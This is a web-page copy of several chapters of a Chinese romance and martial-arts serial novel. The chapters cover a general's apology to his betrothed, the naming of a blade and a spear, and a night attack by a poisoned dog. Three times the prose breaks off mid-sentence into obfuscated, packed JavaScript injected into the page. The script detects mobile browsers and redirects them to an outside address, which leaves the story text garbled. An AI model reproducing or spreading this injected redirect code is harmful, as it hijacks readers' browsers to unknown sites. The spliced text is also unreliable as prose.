p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自己定是问得太过火了。 她清了清嗓子,声音不自觉地放软,像怕惊扰了什么易碎的物事:“我…是我唐突了。你别放在心上,许是我烧糊涂了,净说胡话。” 她话音刚落,温少虞却猛地抬起了头。那双深邃的眼,此刻燃着两簇幽暗的火,灼灼地盯着她。 “不是胡话,”温少虞字字咬得清晰,“你说得对。” 南岁莞的心,骤然悬到了嗓子眼。 “我们…在你失忆前,的确一道练过武。”他顿了顿,像是在积攒此生最大的勇气。“后来,是我做了坏事,我们才散了。” 坏事?南岁莞的脑子嗡地一声,非但没有被这个答案吓退,心底的好奇反倒像被投了石子的春水,一圈圈漾开。她忍不住追问:“你…你做了什么坏事?” 他能做什么坏事?南岁莞打量着他。眼前这人,君子端方,连耳根都透着一股清正耿直的红,怎么看也不像个会做坏事的人。 她反倒想起梦里那个无法无天、追着少年郎进澡堂的自己,想起自己将人按在榻上,不许他躲的霸道。 她对自己那看似文静端庄,实则跳脱皮实的性子,再了解不过。 南岁莞心下了然。定是自己把他惹得忍无可忍了,说不准,还对他…始乱终弃了。是他性子好,体谅她忘了前尘,才把所有过错都揽到自己身上。 温少虞望着她眼中飞快闪过的思量与恍然,面上露出一种深切的为难。那神情,痛苦又挣扎,仿佛再多说一个字,就会被凌迟。 南岁莞的心立刻软了下来。罢了。她轻轻叹了口气,语气是她自己都未曾察觉的温柔:“我…不难为你了。” 温少虞紧绷的背脊,几不可察地松弛了一瞬,像是卸下了千钧重担。他刚舒出一口气,一抬眼,便撞进一双亮晶晶的眸子里。 南岁莞正一瞬不瞬地望着他。那眼神,直勾勾的,带着毫不掩饰的好奇、探究,还有一丝…亲近。 这眼神他太熟悉了。不是这四年里,隔着丞相府重重庭院,遥遥一瞥的疏离淡漠。而是像从前在琼水帮时,她歪着头,笑意盈盈地唤他“小虞”时,那般鲜活,那般灵动。 温少虞的心,被这道目光烫得一颤。一个念头清晰地浮了上来:他们,要好上了。 可随之而来的,却是灭顶的狂喜与刺骨的酸楚。他想起那份被他压在箱底、早已备好的婚书,又想起自己亲手将屠刀挥向琼水帮,踏着满地血污,走向她的那一日。 那么美好的一个南岁莞,和一个双手沾满她亲友鲜血,恶劣不堪的温少虞。 他凭什么? 他又…凭什么不? 欢喜与愁绪,像两股巨浪,在他心口轰然对撞,几乎要将他撕碎。 8. 星汉灿生 温少虞撕裂般的煎熬,最终被一道轻柔却不容置喙的女声打断。 “温澹都同我告状了,”南岁莞不知何时已站到了他身前,垂眸看着他。她的声音软中带硬,掺着一丝嗔怪:“他说你才是伤得最重的那个,却偏偏不肯歇息。我看看。” 温少虞猛地一僵,下意识想退。可她的手已经按住了他的肩,那份不容拒绝的力道,轻柔却又坚定。 他无处可逃。她就这么直直地看着他,目光清澈,带着一种纯然的关切,让他那些翻江倒海的阴暗心思无所遁形。 最终,他像是认命般,缓缓松开了紧攥的拳。 南岁莞见他顺从,便主动上前,纤细的手指搭上了他的衣襟。她替他解开衣带,动作自然得仿佛做过千百遍。 中衣褪下,冷冽的空气瞬间贴上温热的肌肤。他精壮的胸膛与臂膀就这么袒露在她眼前。不同于梦里那个尚带几分青涩的少年身躯,眼前的他,肌理分明,线条坚实,充满了成年男子的力量感。 南岁莞的目光落在他左肩下方。那里,有一颗小小的、淡褐色的胎记,形状如同一弯新月,和梦里一模一样。 轰的一声,热气涌上她的脸颊。原来…梦里那些肌肤相亲的孟浪画面,竟是真的。 她慌忙移开视线,装作一本正经地检视他身上的伤处,声音却泄露了一丝不稳:“温澹说你手臂、背上、腿上都有伤。” 可这一看,她的心却骤然揪紧。 他的身上,除了背后那道为护她而受的狰狞刮伤,更多的是纵横交错的旧疤。有刀劈的,有箭矢贯穿后留下的惨白印记,还有一些细碎的、不知被何种兵刃划过的痕迹。 这些,梦里都没有。 南岁莞蓦地想起这四年来,关于骁骑将军温少虞的赫赫战功。平北狄,定西羌,京中人人称颂他是不世出的将星。原来那些风光无限的军功章背后,是这样一副千疮百孔的身体。 这些代价无人知晓。她甚至觉得,连他自己都毫不在意。 一股难以言喻的酸楚与心疼涌上心头,盖过了方才的羞赧。“你怎么…就这么不爱惜自己。”她的声音带了点鼻音,像是抱怨,又像是心疼得快要哭出来。 她转身从桌上拿起温澹留下的药瓶,倒出青绿色的玉露膏,药香清冽:“转过去,我给你上药。” 温少虞一动不动,背脊绷得像将发的弓弦:“我自己来。” “你看不见,怎么自己来?”南岁莞不许他拒绝,不由分说地将他轻轻一推。 他竟真的顺着她的力道,转过了身。微凉的指腹蘸着药膏,落在他背上伤口周围的皮肤上。他浑身一颤,肌肉瞬间绷紧。 南岁莞的动作愈发轻柔,指尖几乎是悬空般,小心翼翼地将药膏涂抹均匀。她忽然想起什么,目光落在他左臂上一道刚结痂的新伤上。 “你说,”她像是自言自语,又像是在问他,“你这左臂的伤这样新,若是要裁制嫁衣,也不知得费多少心思才能遮住。” 话音刚落,身前的人影骤然一矮。 温少虞竟毫无征兆地,直直跪在了她面前。“岁岁,是我对不住你,”他的额头抵着冰冷的地面,声音里是南岁莞听不懂的沉痛与卑微,“赐婚之事,我并非有意隐瞒。” 南岁莞彻底怔住了。赐婚?她只是顺着梦里的片段随口一说,怎么就扯到了赐婚? 还有,他为什么总是这样?动不动就道歉,动不动就下跪,仿佛在她面前,他天生就低人一等。 南岁莞忍不住反思,失忆前的自己,到底是个什么模样?难道比梦里还要张扬跋扈,连如今这层温静美好的面皮都没有,才把他磋磨成这副样子? 她听着他低声将事情和盘托出。“圣上下旨,将相府改为文襄侯府,由淮侯田禹出任新相,淮侯府改为新相府。圣意…还说文襄侯生前属意,要我和你百日之内完婚。” 原来如此,南岁莞长长地叹了口气,心头那团乱麻,反倒像是被这道惊雷劈开,理出了一条清晰的路径,也好。她俯身,想去扶他:“起来说话。” 温少虞却不肯起,只是微微抬眼,目光里满是忧虑:“岁岁,你要小心。”他的声音压得极低,像是在说什么天大的秘密:“你昏迷那天,我听到小黄门议论…圣上似乎,早就想看到我们二人…” 他话未说完,但意思已然明了。南岁莞心头一凛。她看着温少虞眼中对皇权的忌惮,忽然觉得有些好笑。 眼前这个在战场上杀伐决断、令敌人闻风丧胆的将军,私下里,竟是这般胆小谨慎,甚至谦虚到了自卑的地步。 一股奇异的保护欲油然而生。罢了,他这性子,以后自己多护着些,帮他把这过分的谦卑改一改便是。 她忽然想起了什么,唇角弯起一抹狡黠的笑意:“温师傅。” 温少虞一愣。 她蹲下身,与他平视,那双亮晶晶的眸子直勾勾地望着他:“以后,还当我的武师傅吗?” 温少虞的耳根,以肉眼可见的速度,迅速烧红。他张了张嘴,千言万语都堵在喉咙里,最终只化作几个字,声音轻得像羽毛:“…都依你。” 那句“都依你”,轻飘飘的,却重重砸在她心上,温存又卑微,听得南岁莞心头发软,又有些不是滋味。 她凝视着他,忽然想起一件事,是之前在院里,听见他亲兵与温澹低语时,偶然听去的一句。 “对了,”她开口,声音清浅,“下人们说,你撬开那道石门时,用坏了一把刀?” 温少虞的目光几不可察地闪躲了一下,像是被戳中了什么隐秘的心事:“嗯。” 他顿了顿,声音低沉下来:“那把刀,叫‘破阵’。是我父亲的遗物,母亲取的名字。” 原来如此。南岁莞心中了然,那把刀对他而言,定然意义非凡。 她正想说些什么来安慰,温少虞却忽然抬眼看她,那双幽深的眸子里,竟漾开一丝极淡的、几乎是羞涩的涟漪。 “其实…你也曾送过我一把刀,”他的声音更轻了,“只是,一直没舍得用,也…没来得及为它取个名字。” 南岁莞一怔,心底像被羽毛轻轻搔过,梦里那些支离破碎的片段,似乎又清晰了几分。“我想看看,”她脱口而出。 温少虞像是就在等她这句话,眼中瞬间亮起一簇微光,立刻扬声唤了亲兵进来。不多时,亲兵便捧着一个狭长的黑漆木盒,恭敬地呈了上来。 盒中不止一物:除了一柄寒光凛凛、鞘身古朴的长刀,旁边还静静躺着一杆红缨枪。那枪缨红得似火,像一团凝固的烈焰,映得他眼底也灼灼发烫。 “这杆枪,也是早便为你打好的,”他的声音里,带着一种郑重其事的献宝意味,“总算…有机会交给你了。” 他将刀与枪一并取出,横在自己身前:“它们,都还没有名字。” 温少虞就这么跪坐在她面前,微微仰着头,目光里是藏也藏不住的期盼与征询,像一只把最心爱的宝贝都叼到主人面前,摇着尾巴等待夸奖的大犬。 南岁莞的心怦怦乱跳。可随之而来的,却是一阵巨大的心虚。 她这个名相南赫养出来的女儿,在文采上,却堪比文盲。让她给刀枪取名?这简直是要了她的命。 她绞尽脑汁,脑海里却只飘过“小红”、“小黑”、“砍菜刀”、“戳人枪”这种上不得台面的词。 眼看温少虞眼里的光越来越亮,南岁莞心里咯噔一下,急中生智:“那个…取名是大事,需得沐浴焚香,静心构思才行。” 她一本正经地岔开话题,身子前倾,努力让自己看起来十分能干可靠:“在此之前,不如…我先和你一起筹备父亲的葬礼,还有我们…百日完婚的事宜?” 温少虞闻言,先是一愣,随即,那双墨黑的眼眸里,漾开一丝狡黠的笑意。他看穿了她。 “好,”他点头,应得干脆,“等你为它们取好了名字,我再将这些事,原原本本地告诉你。” “……” 南岁莞的小脸瞬间垮了下来,脑袋也耷拉着,像被雨打蔫了的花。他这是拿捏住她了,她只好闷闷地应了一声:“…好。” 这副模样,让温少虞恍惚间,回到了四年前的青崖船上:烛火摇曳的医庐里,墨香混着清苦的药草味,他也是这样,坐在灯下,替她这个不爱写字的小水匪,连夜抄写她师傅罚下的医书。 身后传来窸窣声响,南岁莞睡眼惺忪地走来,身上还带着被褥的暖香,迷迷糊糊地凑过来看他代抄的字。 起先她是有些不好意思的羞赧,脸颊微红。但很快,她又挺起小小的胸膛,骄傲得像只打鸣的小公鸡:“小虞,你这字抄得还挺像模像样的嘛!” 她拍拍他的肩,许下豪言壮语:“等抄完了,回头我带你去后山打猎,给你做山珍海味吃!” 结果,没过几日,事情败露。被她那吹胡子瞪眼的医师傅发现后,她也是这样,耷拉着脑袋,在他身边蔫了半天。 可等医师傅一走,她立刻就活了过来,眼睛亮晶晶地拉着他的手:“不管了!民以食为天!走,打猎做好吃的去!” 他太了解她了,这副沮丧懊恼的模样,根本撑不过半日。想到这里,温少虞唇角牵起一抹极浅的弧度,眼底尽是温柔的纵溺。 只是,这笑意还未及眼底,便无声无息地敛去了。思绪被拉回残酷的现实。他看着她那张写满“苦大仇深”的小脸,心脏像是被一只无形的手,缓缓攥紧。 可惜。 抄书是小错,撒个娇,耍个赖,一顿山珍海味就能翻篇。可他犯下的,是滔天大错。那一场弥天大谎,那一场血海深仇,又岂是一句“对不住”,和一辈子的小心翼翼,就能抹平的? 他眼中的光,一点一点,沉寂下去,化作一片望不见底的深海。 · 又过了两日,刀与枪,就静静搁在案上,像两道解不开的难题,也像两道无声的审判。 南岁莞对着它们,愁眉不展。脑子里那些“砍菜刀”、“戳人枪”的念头,来来回回,就是驱不散。她甚至偷偷翻了几本诗集,可那些风花雪月的词句,配不上这刀枪的铮铮铁骨。 温少虞是故意的。他用这两个名字,将她牢牢困在了这方寸之地,动弹不得。 第三日夜里,她带着满腹的懊恼与不甘,沉沉睡去。 …… 恍惚间,有潮声。一下,又一下,拍打着亘古的礁石,也拍打着她的耳膜。 南岁莞睁开眼。眼前不是熟悉的帐顶与梁木,而是暮色四合里,一片苍茫如幕的深蓝。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059443|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她正站在碣石山上。脚下是丰茂而坚韧的野草,带着泥土与岩石的腥气。海风浩浩荡荡地吹来,灌满她的衣袍,咸腥又潮湿,带着最原始的生命力。 大海就在眼前,寥阔无垠,起伏不定。天与海的尽头,界限模糊,融为一片混沌的紫。 宇宙无机,人生微茫。一种阔大的、悲壮的慷慨之情,忽然就从她胸中勃然而生。人生在世,不过沧海一粟,过眼云烟。 她忽然觉得口干舌燥,手里不知何时,竟多了一只粗粝的黑陶酒壶。她想也没想,高高提起,仰着头便往嘴里倒。又酸又浊的酒液,呛得她咳嗽,却浇不灭心头那团火。 不够。还不够得劲! 她索性将酒壶举得更高,任那浑浊的酒水劈头盖脸地浇下来,湿透了发丝,流过了眉眼,冰凉的,辛辣的,带着一股野性的味道。 她抹了一把脸,转过头。温少虞就站在她身侧。 温少虞一身月白长衫,风姿清绝,从容优雅得像一幅泼墨山水。在这苍茫野性的天地间,他显得那么格格不入,却又奇异地,镇住了这方天地的魂。 南岁莞眼底漫上一层醉意,唇角却勾起一个大胆的、近乎挑衅的笑。她提起酒壶,摇摇晃晃地走到他面前,然后,在他微怔的目光中,将剩下的半壶酒,尽数浇在了他的头上。 冰凉的液体顺着他清隽的下颌线滑落,打湿了他一丝不苟的衣襟,酒气瞬间将他周身清冷的气息冲散。 他没有躲,也没有生气,只是静静地看着她,那双深潭般的眸子里,映着漫天星子和她颠倒的、燃烧的影子。 “你尝到了吗?”她带着醉意,声音却清亮,响彻在海风里,“这酒就是海。我们喝了这酒,就成了这海!” 她的眼中迸发出一种惊人的光亮,像要把这暮色点燃:“日月星汉,就被我们吞吐!”她伸出手,指向他腰间的佩刀,又指向自己虚握的掌心。 “你的长刀,就是星汉!我的红缨枪,就是灿生!”她向前一步,几乎贴上他的胸膛,仰着脸,一字一顿,掷地有声,“天命在吾,吾为大海,无疆无极,吞吐日月!” …… “星汉…灿生…”南岁莞猛地睁开眼,从床上坐起。窗外天光未亮,屋内一片死寂。可那海风的咸腥,烈酒的辛辣,仿佛还残留在她的唇齿与鼻息之间。 她心口狂跳,梦里那股豪气与悲壮,依旧在她血脉里奔腾。 她的目光,直直地投向桌案上那柄古朴的长刀、那杆烈火般的红缨枪。星汉、灿生,这就该是它们名字。 南岁莞怔怔地看着,心底深处,像是有一扇尘封已久的大门,被梦里那场磅礴的海潮,冲开了一条裂缝。裂缝里透出的,是许久未有的、酣畅淋漓的快意。 这三日来的拧巴与纠结,被那一场豪迈的梦境涤荡得干干净净。她终于不负这刀,不负这枪。 南岁莞唇角抑制不住地上扬,借着窗外透进的微光,盘腿在床榻上坐直了身子。这是一个全然不似相府千金的坐姿,带着几分江湖儿女的洒脱与不羁。 山风从窗格的缝隙里钻进来,微冷,却让她觉得通体舒畅。那股子梦里吞吐日月的豪情,还未从胸臆间散去。 夜色如墨,将远山勾勒成沉寂的巨兽。唯有天边一轮残月,清辉惨白,光华黯淡。万山载雪,明月薄之,纵天地广阔,自有其萧索与寂寥。但她心中的那团火,却足以将这清冷的月色都烧得滚烫。 念及此,喉间一阵干渴。是了,梦里灌下的那半壶烈酒,到底没能解了现实的渴。 她想去倒杯水。床边矮几上,就放着一只军中常用的黑陶水杯,粗粝,厚重。 南岁莞掀开薄被,将腿放下床沿,赤着脚,试探着往地上踩去。然而,脚尖触及的,并非冰凉坚硬的土地,而是一团…毛茸茸的,又带着刺骨冰冷的东西。 那触感诡异至极,像是摸到了一块覆着霜的死兽皮毛。南岁莞浑身的血液仿佛在瞬间凝固,她“噌”地一下,闪电般收回了脚,快得几乎带起一阵风。 怎么回事?她不敢出声,甚至连呼吸都下意识地屏住了,只将自己紧紧缩回床榻的里侧,后背死死抵着冰冷的土墙。 借着墙角那豆昏黄的油灯光,她僵硬地、一点一点地,转过头去。然后,她看到了。 就在她身后的土墙上,一团巨大而扭曲的影子,被昏暗的灯火拉扯得不成形状,几乎占据了半面墙壁。 那影子的轮廓毛发蓬松,像一头蹲伏的野兽。头顶上,两只耳朵的影子又长又弯,锋利得如同两把收割性命的镰刀。 而最让她头皮发麻的——是那影子的末端,竟拖着一条长长的、蜿蜒蠕动的…蟒蛇般的尾巴! 怪物!南岁莞的瞳孔骤然缩小,冷汗“唰”地一下就从额角冒了出来,顺着鬓角滑落,带来一阵冰凉的痒意。 她却一动不敢动,整个人像被钉在了床上,只有一颗心在胸腔里疯狂擂鼓,撞得她肋骨生疼。 她抱着自己的膝盖,将脸深深埋进去,只觉得浑身上下的汗毛根根倒竖,一股源自本能的、极致的恐惧,扼住了她的咽喉。 梦里那“天命在吾,吾为大海”的万丈豪情,在此刻被碾得粉碎,只剩下夜半三更的黑暗,与一个蹲伏在床下,随时可能择人而噬的、不知名的恐怖。 9. 迟到 恐惧是深渊,掉下去便是万劫不复。南岁莞的牙关都在打战,咯咯作响,在这死寂的屋里,竟有些刺耳。 她不能死在这里,绝不能不明不白地死在一头不知名的怪物爪下。 坐以待毙,从来不是她的作风。她要看清楚,床下那东西,究竟是何方妖孽。 南岁莞几乎是用尽了全身的力气,才将自己僵硬的脖颈一寸一寸扭转过来,望向床沿的方向。 像是心有灵犀一般,就在她转头的那一刹那,那团黑影动了。 一个脑袋悄无声息地,从床边的黑暗里探了出来。它张开了嘴,却没有发出任何声音,只有一股浓重的腥气,混杂着腐败的味道,扑面而来。 借着墙角那豆残灯摇曳的微光,南岁莞终于看清了它的脸。 那不是什么怪物,是…一条狗,就是他们进入楼桑村前,在村口引路的那条土狗,瘦得皮包骨头,肋骨根根分明,像一架行走的骨骸。 此刻,那张狗脸上的神情,却痛苦到了极致。 它龇着牙,露出焦黄的牙床,整个嘴和眼角都怪异地向下拉扯、扭曲,和墙上那威风凛凛的影子,判若两兽。 那神情…南岁莞的心猛地一抽…她莫名想到一个占山为王的匪首,头发斑白,长须散乱,在官兵的乱刀下断气时,脸上最后定格的表情,是一模一样的不甘与痛苦。 狗耳朵在剧烈地抽搐,脑袋时不时地猛然一激灵,仿佛正承受着巨大的折磨。 原来是这昏灯、这角度,将一条瘦骨嶙峋的病狗,拉扯成了一头吞天食地的巨兽。南岁莞长长地、无声地吁出一口气,心头却不敢有半分松懈。 她想起温少虞那永远沉静谨慎的模样,心中竟也生出几分警惕:这狗不对劲,怕不是得了疯病,或是中了什么毒。 它两只后脚竟已站立在地,前爪扒着床沿,正努力地往上攀爬,一双浑浊的眼睛死死盯着她,充满了某种执拗的、疯狂的意味。 这通了人性似的攀爬姿态,比野兽的嘶吼更让人毛骨悚然。南岁莞向后急缩,整个人几乎要嵌进土墙里。 就在这时,她的后腰,被什么硬邦邦的东西狠狠硌了一下,她想也没想,反手向后一摸。 入手冰凉、坚硬,带着竹子特有的光滑节疤,是枕头,一只毛竹做的硬枕。 她这才想起,自己这几日睡的,都不是相府里那塞满了软荞麦、枕上去沙沙作响的舒服枕头。 这发现如一道电光,劈开了她脑中的混沌,一个大胆至极的念头瞬间成型。 就是现在!那条疯狗的前爪已经搭上床铺,张着腥臭的大嘴,下一瞬就要纵身扑上! 南岁莞动了,她整个人快如脱兔,矫健得不似深闺千金,在那千钧一发之际,抓起身后的竹枕,闪电般朝着那张开的狗嘴猛地塞了进去! “唔——!”一声沉闷的呜咽被堵在了喉咙里,疯狗跳上床的巨大冲力,恰好让它将那冰凉坚硬的竹枕,整个儿扑进了怀里,死死咬住。 得手了!它没法再张嘴伤人! 狗狗似乎将所有的痛苦与疯狂,都发泄在了这个意外的“猎物”上,用前爪死死抱着竹枕,在床上疯狂地翻滚、撕咬、甩动。 南岁莞抓住这稍纵即逝的机会。她一边用一种独特的、既能让屋外人听清,又不至于过分刺激这疯狗的音量,清晰地喊着。 “救命——!” 她一边利落地翻身下床,赤脚落地,随即,目光就锁向了矮几上那杆静静躺着的星汉红缨枪。 她冲过去,一把抓住冰冷的枪身,那熟悉的、沉甸甸的触感,瞬间让她狂跳的心安定下来。 南岁莞双手持枪,将枪尖对准床上那团翻滚的黑影,枪杆横在身前,摆出了一个,连她自己都未曾察觉的、无比标准又凌厉的防御姿态。 长枪在手,天下我有,这念头荒唐地一闪而过,随即被门外仓惶的脚步声打断。 南岁莞知道守在屋外的是谁,今夜应是茯苓。门“砰”地一声被撞开,一道纤细的身影跌撞着扑了进来。 “小姐!”茯苓的声音带着哭腔,在看到屋中景象时,猛地倒吸一口凉气。 那只疯狗正将毛竹枕咬得“咔咔”作响,木屑纷飞,眼看就要彻底散架。竹枕一碎,下一个便是床前的人。 南岁莞的心提到了嗓子眼,就在这电光石火之间,茯苓没有丝毫犹豫,竟是朝着那团疯狂的黑影,直直地扑了过去。 她甚至没去看那张扭曲可怖的狗脸,目光只落在那条发暗、发黑、透着不祥之色的尾巴上。 茯苓侧身贴近,用自己尚还完好的右臂,连同整个身子,死死地将那疯狗连同它怀里那截残破的竹枕,一同箍进了自己怀里。 “唔——嗷!”狗的嘶吼被闷住,转为更剧烈的挣扎,利爪在茯苓的背上、手臂上,划开一道道血口。 茯苓却像感觉不到疼,只是收紧双臂,用尽全身力气,将那团痛苦与疯狂禁锢在自己怀中,一人一狗,在地上翻滚、扭动、死死纠缠。 茯苓的脸已是煞白如纸。南岁莞的瞳孔骤然收缩,她看得分明,茯苓左臂的伤口本就未愈,此刻每一次的翻滚拉扯,都在加剧那份痛楚。 茯苓撑不了多久了,自己必须出手。南岁莞握着星汉红缨枪的手稳如磐石。她的目光如鹰隼般锐利,死死锁住那在茯苓怀中不断变换位置的狗头。 时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071442|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,她在等一个万无一失的时机。 就是现在!那疯狗猛地一弓背,眼看就要挣脱茯苓的怀抱!南岁莞踏步上前,身形快得只留下一道残影。 手中的红缨枪没有半分迟疑,枪尖如一道冰冷的电光,精准地刺入了那疯狗的后颈,不是劈砍,不是贯穿,只是稳稳地将枪尖没入其中,恰到好处地钉在那里。 这样血就不会溅出来,她怕那暗红发黑的血有毒。 “呜…”疯狗的呜咽声,瞬间弱了下去,它疯狂的抽动渐渐平息,最后,那颗痛苦扭曲的头颅,往旁侧无力地一歪。在生命消逝的最后一刹那,它竟像是终于解脱了一般,长长地吐出了一口气。 而茯苓也终于力竭,双眼一闭,软软地倒在了地上,不省人事。 一片死寂,屋子里只剩下南岁莞粗重的喘息。 “砰砰砰——”杂乱的脚步声由远及近,火把的光亮将这小小的屋子照得通明。 一群侍卫涌了进来,为首的是温少虞。他只匆匆披了一件外衣,墨发微乱,显然是听闻动静,从榻上惊起便直接奔了过来。 他的目光扫过地上的死狗与昏迷的茯苓,最终,落在了持枪而立、安然无恙的南岁莞身上。那双总是深不见底的黑眸里,滔天的惊悸与后怕,终于化作一丝肉眼可见的松懈。 他松了一口气。“收拾干净,”温少虞对身后的侍卫沉声下令,自己则迈开步子,径直走向南岁莞。 他走到她面前,却没有拿走她手中那杆依旧握得死紧的星汉红缨枪。 他的手伸了出来,温热的掌心,轻轻覆上她因用力而骨节泛白的手背。而后,他上前一步,将她整个人,连同那冰冷的枪杆,一同揽进了怀里,拥抱很轻,却带着温和浓厚的安抚意味。 南岁莞苍白的脸颊贴在他尚带着寒意的衣襟上,浑身紧绷的肌肉终于在这一刻,不受控制地颤抖起来,那是劫后余生的后怕。 温少虞将她抱得更紧了些。他想起了四年前,想起琼水帮覆灭的那一夜,火光冲天,厮杀震野。 他是奉旨剿匪的白袍卒主帅,她是负隅顽抗的匪首之女,阵营悬殊,立场对立。 那时,他看着她一身红衣在火光中舞动长枪,明明已是强弩之末,却依旧凶悍得像一头不肯认输的狼崽。 他心中有万千言语,有心疼,有不忍,有连他自己都未曾察觉的爱慕。可他一个字都不能说。 说了,便是背叛,是动摇军心。 而现在怀中的人,将是他明媒正娶的妻。他低下头,滚烫的呼吸落在她的发顶,声音低沉沙哑,带着压抑了四年的、翻江倒海的情绪。 “岁岁,你已经,做得很好了。” 10. 谁是卧底 卯时,军医屋内。 四壁简陋,粗糙的草席硌着肌肤,却远不及心口纠结的半分磨人。空气里,浓烈的草药味混着淡淡的血腥与烈酒的气息,在石碣村湿冷的空气中一同发酵。 南岁莞的口中还残留着压惊安神汤里酸枣仁特有的酸涩,那苦味仿佛从舌根一直蔓延到了心底。 她的目光越过摇曳的烛火,落在旁边的榻子上,茯苓就躺在那,双目紧闭,面无血色。 南岁莞的眼神,像是三月里笼着不散的薄雾,带着化不开的忧伤,又像是入夜后幽深的密林,藏匿着无人能懂的复杂。 在屋子的另一角,一盏更暗的油灯下,是另一张更小的兽榻。榻前,一个圆脸淡眉、尚带些婴儿肥的年轻男子,正垂首忙碌。 他是兽医温植,穿着一身清爽干净的布衣,与这屋里的血腥气格格不入。可他手下的动作,却干净利落得令人心惊。 薄刃剖开狗腹,没有一丝多余的拖沓,很快他从污秽中夹出了三枚物什,是铜片。 他将铜片在清水中洗净,用布巾擦干,而后端着木盘,走到了温少虞面前。“将军,”温植的声音也如他的人一般,清澈干净,话不多。 温少虞接过,目光一凛。三块铜片正面刻着三个字,笔画狰狞:“温贼”、“季贼”、“南贼”。他翻过铜片,背面是同样的图腾:上面是诡异的重瞳,下面是燃烧的火焰。 这必然是闻香教的威胁。满室的侍卫,皆是倒抽一口凉气。 温少虞的目光却已恢复冷峻,他将铜片收于掌心,朗声道:“闻香教黔驴技穷,只会用这等下作手段挑衅。明日葬礼,加倍防备,但照常举行。” 他说得沉稳有力,安抚了众人浮动的心。南岁莞也起身开了口,声音不大,却清清楚楚地传到每个人耳中。 “他说得对,”她看着众人,“这些不过是虚张声势。他们若真有能力与我们正面交锋,又何须用这种见不得光的手段。” 她不紧不慢,仿佛在说一件再寻常不过的事。众人闻言,心中的惊惧也渐渐散去,纷纷应是,依序退下。 屋子,又恢复了先前的死寂。军医温澹这才走上前来,他叹了一口气,声音温润好听,话语却像淬了毒的寒针:“将军,娘子,茯苓姑娘外伤是小事,但她左臂旧伤未愈,又添新伤,经此一役,怕是彻底废了。” 南岁莞的睫毛,微微一颤。 “更棘手的是,”温澹面露难色,“那狗尾上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076730|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淬了毒,毒素已经侵入她体内。这毒…眼下虽不致命,却难以根除。日后每逢风雨霜雪,筋骨便会酸疼难忍,平日里,也免不了头晕头疼,须得好生静养,再不能劳心劳力了。” 温澹絮絮叨叨地说完,屋里再无半点声响。 南岁莞一夜未眠,眼下已是一片乌青,她就那么静静地听着,一言不发,像是被抽走了所有力气,又像是在积蓄着一场风暴。 温少虞看着她,心口像被一只无形的手紧紧攥住,疼得快要窒息,他想开口,却又不知该说什么。 任何安慰,在茯苓这般惨烈的牺牲面前,都显得苍白无力。 就在这时,门外响起急促的脚步声,温少虞的心腹偏将周莽,大步流星地走了进来,盔甲上还带着夜露的寒气。 “将军!”周莽单膝跪地,声音里满是懊恼与焦灼,“末将已将随行侍卫严查数遍,却…石沉大海,一无所获!无人知晓那条疯狗是如何潜入村中,又是如何避开所有岗哨,进了娘子的屋子。” 他顿了顿,声音愈发艰涩:“按理,嫌疑最大的,本该是…” 周莽猛地抬头,目光越过温少虞,落在了那张昏迷不醒的脸上,“…是昨夜负责守夜的,茯苓姑娘。” 11. 含泪睡着 温少虞整个人都僵在了原地,袖口处那点微不足道的力道,却似有千钧之重,将他牢牢钉住。 他垂眸,那只小手,从他宽大的袖摆下探出,指尖微凉,正轻轻捏着一角衣料。他的手原本只是随意地垂在身侧,此刻却正好碰上了她的手背。 微凉滑腻,又带着一丝女儿家特有的温软,像上好的凉玉,又像初春新生的花瓣。 温少虞的心,漏跳了一拍,他懂了,这是个小小的、近乎乞求的动作。 不是相府千金南岁莞,而是琼水帮那个天不怕地不怕,却会在深夜里偷偷掉眼泪的小丫头,可爱得让他心头发紧,又酸又软。 思绪如潮水倒灌,瞬间将他拉回了四年多前,那时琼水帮刚经历了一场恶战,血腥气与草药味混杂在一起,几乎要将人熏得窒息。 南岁莞才十六岁,却镇定得不像话,亲自带着人给受伤的弟兄们包扎伤口,连那些被俘的官兵也未曾慢待,有条不紊,从容不迫。 可独独温少虞看见了,她那双极力维持着平静的眼底,还有眉梢眼尾里,全是压抑不住的惊慌、恐惧与后怕。 待到夜深人静,所有人都退下,她走到他跟前,也是这样,轻轻地拽住了他的袖口,力道很轻,却很执拗。 “小虞,”她哑着嗓子开口,“你,跟我来。” 他一言不发,任由她拉着,进了她的屋子。 “躺下。”她命令道。 他依言躺倒在床榻上。她却忽地转身背对着他,然后猛地朝后一仰,重重地跌进他怀里。 下一刻,她又飞快地翻了个身,面对着他,将整个脑袋都深深地埋进了他的胸膛,像一只受了惊,拼命寻找巢穴的幼兽。 